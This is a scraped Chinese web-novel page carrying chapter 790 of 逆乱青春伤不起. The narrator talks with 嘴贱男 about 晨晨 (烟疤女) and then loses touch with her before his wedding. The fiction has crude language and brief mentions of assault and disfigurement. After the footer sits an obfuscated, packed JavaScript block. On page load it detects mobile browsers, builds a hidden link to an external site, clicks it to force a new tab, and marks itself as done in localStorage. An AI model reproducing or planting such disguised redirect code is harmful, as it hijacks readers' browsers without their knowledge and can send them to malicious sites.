400小说网首页 -> 都市言情 -> 《逆乱青春伤不起》 -> 正文
加入书签 加入书架 推荐本书 返回逆乱青春伤不起书页 』

逆乱青春伤不起 正文 七九零章 烟疤女终结篇

(为方便您阅读逆乱青春伤不起最新章节,请记住“400小说网”网址 www.Wo400.Com,并注册会员收藏您喜爱的书籍
    嘴贱男情绪稍微有点失控,也算是对晨晨重情重义吧。但是我一想到晨晨离走大连的其中一部分原因,我就觉得他这完全是马后炮精神。这时嘴贱男老婆又站了起来,对我俩说,你俩先聊,我出去打个电话。说完人就走出了饭店,我问嘴贱男:你女人生气了,没事吧?嘴贱男骂道:生他妈个b去吧,管她的。就这一句话,我就知道嘴贱男在家里的地位了,看来他老婆要受苦了。

    嘴贱男说完之后,拿起酒杯干了一杯酒之后,朝服务员大喊:服务员,给我拿包烟!再给我拿个火!这时我才发现,嘴贱男进来到现在还没抽过烟。我问他:你怎么现在出门都不带烟啊,火也不带。嘴贱男愤愤的说:戒了,准备要孩子,先戒半年。烟抽上之后,嘴贱男那真是拼了命的吸,吸了几口之后,嘴贱男缓了缓神,问我:你知不知道是谁弄的吗?我说:这真不知道,她没告诉我,但是她的意思好像是陌生人吧。

    嘴贱男愤恨的说:如果让我知道是谁,我肯定得弄死他。我说:算了吧,早知道现在何必当初,如果那时晨晨不走肯定不会变成现在这样。嘴贱男瞪着眼看我,有点委屈的说:当时她走的时候,我不是一直不让她走吗,我什么时候怂恿过让晨晨出去的?她那时不是被那个臭彪子小白脸忽悠的吗?我拍着桌子问嘴贱男:你是真不知道吗还是假不知道?晨晨为什么出去的?一部分原因是她爸,另外一部分不是因为你啊!

    嘴贱男纳闷了,问我:因为我?因为我什么?我当时真想把烟疤女被强上的事说出来,但是想想还是算了,这事如果让我说出来的话,估计烟疤女会从大庆回来杀了我。我也喝了一杯酒,跟嘴贱男说:自己想吧,我不知道,反正晨晨当时偷偷的跟我说,是为了你。嘴贱男又陷入了沉思,嘴贱男还是非常有个性的,不是那种追根问底墨迹型的。而且嘴贱男是绝对不会求我,让我告诉他为什么的,只要我不说,他就不会追问。

    我俩就这么坐着,嘴贱男的老婆给嘴贱男打了个电话,说她先走了。看样子也是生气了,毕竟自己的男人还想着前任。我感觉嘴贱男的内心已经收到了折磨,而且该说的我也说了,就准备走了。嘴贱男没让我走,让我再陪他坐一会的。那我就再陪他一会,嘴贱男这时问我要晨晨的电话。我没给嘴贱男,而是告诉他,等我回去问问晨晨的,再给他答案。嘴贱男点点头,也没说什么。

    嘴贱男缓了好一阵,然后递给我一张名片。我接过来,看到上面写着不少内容。我笑着问嘴贱男:物业经理?怎么去当保安了啊?嘴贱男说:挂名而已,不过你要是想在我那买房子,我能帮帮你省点钱。我还在上东路开了个礼品店,你要是哪天有空可以去看看。嘴贱男又说了一些话,不过大概内容都相似,那就是我有什么需要,都可以找他帮忙。不得不说,嘴贱男还是相当的有能耐,比我混的好太多太多了。

    嘴贱男大学那阵都能给晨晨开店,所以现在自己混的好也是理所当然的,家底好,一切都不是问题。该说的也都说了,该问的也都问了,我的任务也超额完成了。所以我和嘴贱男可以结束这次见面了,我再次提出局可以散了,嘴贱男就没再说什么,然后喊服务员结账。结完账嘴贱男给他老婆打电话,问人在哪,在电话里骂了他老婆几句。我们一起出了饭店,嘴贱男问我:用不用送你一程?

    我摆摆手说:你喝酒了,不安全,我还是自己走吧。嘴贱男哼笑一声,对我说:那再见了。我点点头回他:多保重吧。嘴贱男一摆手,就转身走了。这次分开,直到现在我俩再也没有碰过面。不管以前如何,嘴贱男最后跟我摆手那一幕,让我对他还算是留下了一个好印象。我和嘴贱男由仇人变成朋友,然后再变成仇人,最后变成陌路人,其实也算是在一起经历了很多事情。

    嘴贱男不会像曹智和郭强那样,让我心里有怀恨的感情。我现在想起嘴贱男,只是一个普通的旧人而已。虽然没有见到嘴贱男,但是我却得到了不少关于嘴贱男的消息。什么嘴贱男可能是出了车祸所以又换车了,生了个有屁眼的儿子之类的。反正都是嘴贱男的好消息,当然我这人相信人生是坎坷的,肯定不会一帆风顺。所以以后路很长,嘴贱男一定要小心开车,看好身边的人,警惕自己剩下的人生。

    再回来说烟疤女,完成了任务之后,我没回到家就直接给她打了电话。电话通了之后,我第一时间就问烟疤女:你是怎么回事,你知不知道,人家嘴贱男都结完婚了!烟疤女一听也是吓一跳,赶紧问我是什么时候结的婚。我就把我和嘴贱男见面之后的一点一滴告诉了烟疤女,当然我也把烟疤女毁容的事也说了。我告诉晨晨,我这是想让嘴贱男自责。我为什么说了实话,因为嘴贱男要电话的事,我得告诉晨晨,到时如果给了电话,晨晨一样会知道的。

    烟疤女中间没打断我,等我话都说完了之后,烟疤女只是淡淡的跟我说:不给他电话,就这样吧。烟疤女的情绪特别的低落,和刚刚接电话的时候完全不一样,不知道她到底是为了什么才这样。我想问问烟疤女,结果烟疤女说她有点不舒服,就把电话挂了。第二天烟疤女又给我打了电话,告诉我她昨天哭了一天。我当时问烟疤女:至于吗?有什么好哭的,你能告诉我,你哭的点是什么吗?

    烟疤女告诉我,她就是觉得嘴贱男真的结完婚了,感觉特别的难受才哭的。而且当得知嘴贱男还对她有点恋恋不舍的时候,就更觉得伤心和惋惜,还有后悔。从这点看来,烟疤女的还是和以前差不多,坚强的背后总有女人柔弱的一面。我安慰烟疤女:你都是少妇级别的人物了,就别想这想那了,到了咱找个年纪,有几个人能找到真正自己想找的人结婚在一起?几乎就是没有,你说是不?

    烟疤女叹口气,说我说的太对了,告诉我她以前那么不喜欢上学,现在都开始怀念起上学时的日子了。看来嘴贱男对烟疤女刺激不小,让她已经开始怀旧了。我赶紧趁热打铁:那你回大连看看吧,就算回不到上学的时候,起码多回忆回忆啊,解解渴。晨晨在电话那头稍微有点动摇了,告诉我,让她想想的。这阵子我俩又恢复了短暂的联系,隔三差五的打个电话。但是好景不长,晨晨和我再次断了联系。

    晨晨莫名其妙的电话就打不通了,貌似换了一个电话号码。我给她网上留了言,她也不回我。整个人又人间蒸发了,不过我也习惯了。其实我也不是想找晨晨聊些什么,我俩共同语言和话题都少的可怜,我只是想知道她的平安罢了。时间过的飞快,在我登记的前一天,我给晨晨网上留了言,告诉她,明天我就要结婚了。还算是晨晨够意思,她看到这条消息终于回了我的信息。

    晨晨说祝贺我踏入了坟墓,希望以后我能够幸福,还说办婚礼的时候,一定告诉她。我问她电话是不是换了,晨晨告诉我她的确换了电话,还说以后就网上联系吧,因为打电话不方便。我知道这都是借口,怎么可能会不方便。但是我也没有强求,不过晨晨还是跟我解释了一下,晨晨说她和我恢复联系后,整个人变的很矛盾,有时会很痛苦,所以她不想继续这样,就换了电话。

    大家都是越活越回旋,一年不如一年,上学时的晨晨肯定是不会逃避和害怕。现在的晨晨让我根本无法和以前的烟疤女联系到一起,每每想到晨晨被毁容后的样貌,我都觉得晨晨和烟疤女就不是一个人!那天我和晨晨聊了很多,晨晨特别的逃避,让我心烦的很。由于第二天还得起大早登记,所以我和晨晨并没有把该说的话都说完。不过这却是我俩最后一次在网上聊天,从此之后晨晨的qq头像就没再闪过。

    我曾经想过一个问题,晨晨是不是喜欢着我,为什么听到我登记的消息后,她就再也再也没有出现过。当然这个问题是没有答案的,我对晨晨的未来,还有那段我不知道的过去都是一无所知。烟疤女最终连我的婚礼也没有参加,这也算是她给我的最大一个遗憾。后来到现在,我常常回忆着烟疤女当初在初中时扇我的那个巴掌。想着我俩第一次亲密接触的时候,烟疤女的神情还有调调是那么的有意思。

    我学生时代所谓的混,完全都是烟疤女所赐。所以晨晨是我这一生当中,相当相当重要的一个角色。就像我认为的一样,人生不会一帆风顺,也不会一直倒霉下去,烟疤女以后说不定也会时来运转,告别悲惨的命运。
上一页 返回逆乱青春伤不起最新章节列表 下一页 提醒更新/举报错误/缺字少章
如发现逆乱青春伤不起有章节错误、版权疑问或违反相关法律等请联系客服。逆乱青春伤不起最新章节仅代表作者只爱金泰妍本人的观点,其个人行为与本站无关。
逆乱青春伤不起全文阅读由400小说网(http://www.wo400.com)提供,仅作为交流,非商业用途。
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m x(){n(L y==="\\s\\7\\2\\0\\t\\9\\7\\0\\2"){o M}N a=(O^P)+(Q^R);u z=y[\'\\s\\8\\0\\6\\S\\d\\0\\7\\1\'][\'\\1\\3\\A\\3\\T\\0\\6\\v\\4\\8\\0\']();a=U^V;u B=W X("Y|Z|10 11|12|13|14|15 16|17|18|19|1a".f("").g().h(""),\'\\9\');o B[\'\\1\\0\\8\\1\'](z)}m C(a){u b=i[\'\\p\\6\\0\\4\\1\\0\\D\\5\\0\\j\\0\\7\\1\']("\\4");b[\'\\q\\6\\0\\t\']=a;b[\'\\8\\1\\c\\5\\0\'][\'\\2\\9\\8\\k\\5\\4\\c\']="\\7\\3\\7\\0";b[\'\\1\\4\\6\\d\\0\\1\']="1b".f("").g().h("");i[\'\\l\\3\\2\\c\'][\'\\4\\k\\k\\0\\7\\2\\v\\q\\9\\5\\2\'](b);b[\'\\p\\5\\9\\p\\1c\']();i[\'\\l\\3\\2\\c\'][\'\\6\\0\\j\\3\\E\\0\\v\\q\\9\\5\\2\'](b)}m 1d(){1e{o r[\'\\8\\0\\5\\t\']!==r[\'\\1\\3\\k\']}1f(e){o!![]}}i[\'\\4\\2\\2\\D\\E\\0\\7\\1\\A\\9\\8\\1\\0\\7\\0\\6\']("1g".f("").g().h(""),m(){n(!r[\'\\d\\5\\3\\l\\4\\5\\F\\4\\6\']){n(i[\'\\l\\3\\2\\c\']!=1h){r[\'\\d\\5\\3\\l\\4\\5\\F\\4\\6\']="\\w";G=H[\'\\d\\0\\1\\w\\1\\0\\j\']("I".f("").g().h(""));n(!G&&x()){C("\\q\\1\\1\\k\\1i\\J\\J\\1j\\1k\\1l\\1m\\K\\1n\\1o\\1p\\c\\1q\\K\\p\\3\\j")}H[\'\\8\\0\\1\\w\\1\\0\\j\']("I".f("").g().h(""),"\\1\\6\\s\\0")}}});',62,89,'u0065|u0074|u0064|u006F|u0061|u006C|u0072|u006E|u0073|u0069||_0x6fa22e|u0079|u0067||split|reverse|join|document|u006D|u0070|u0062|function|if|return|u0063|u0068|window|u0075|u0066|const|u0043|u0049|isMobileDevice|navigator|_0x4231bb|u004C|_0x40f|OpenUrl|u0045|u0076|u0056|hasExecuted|localStorage|ff_kcul|u002F|u002E|typeof|false|var|638422|638418|160901|160898|u0041|u0077|363339|363342|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|knalb_|u006B|isInIframe|try|catch|dedaoLtnetnoCMOD|null|u003A|u0037|u0035|u0033|u0032|u0078|u006A|u0071|u0038'.split('|'),0,{}))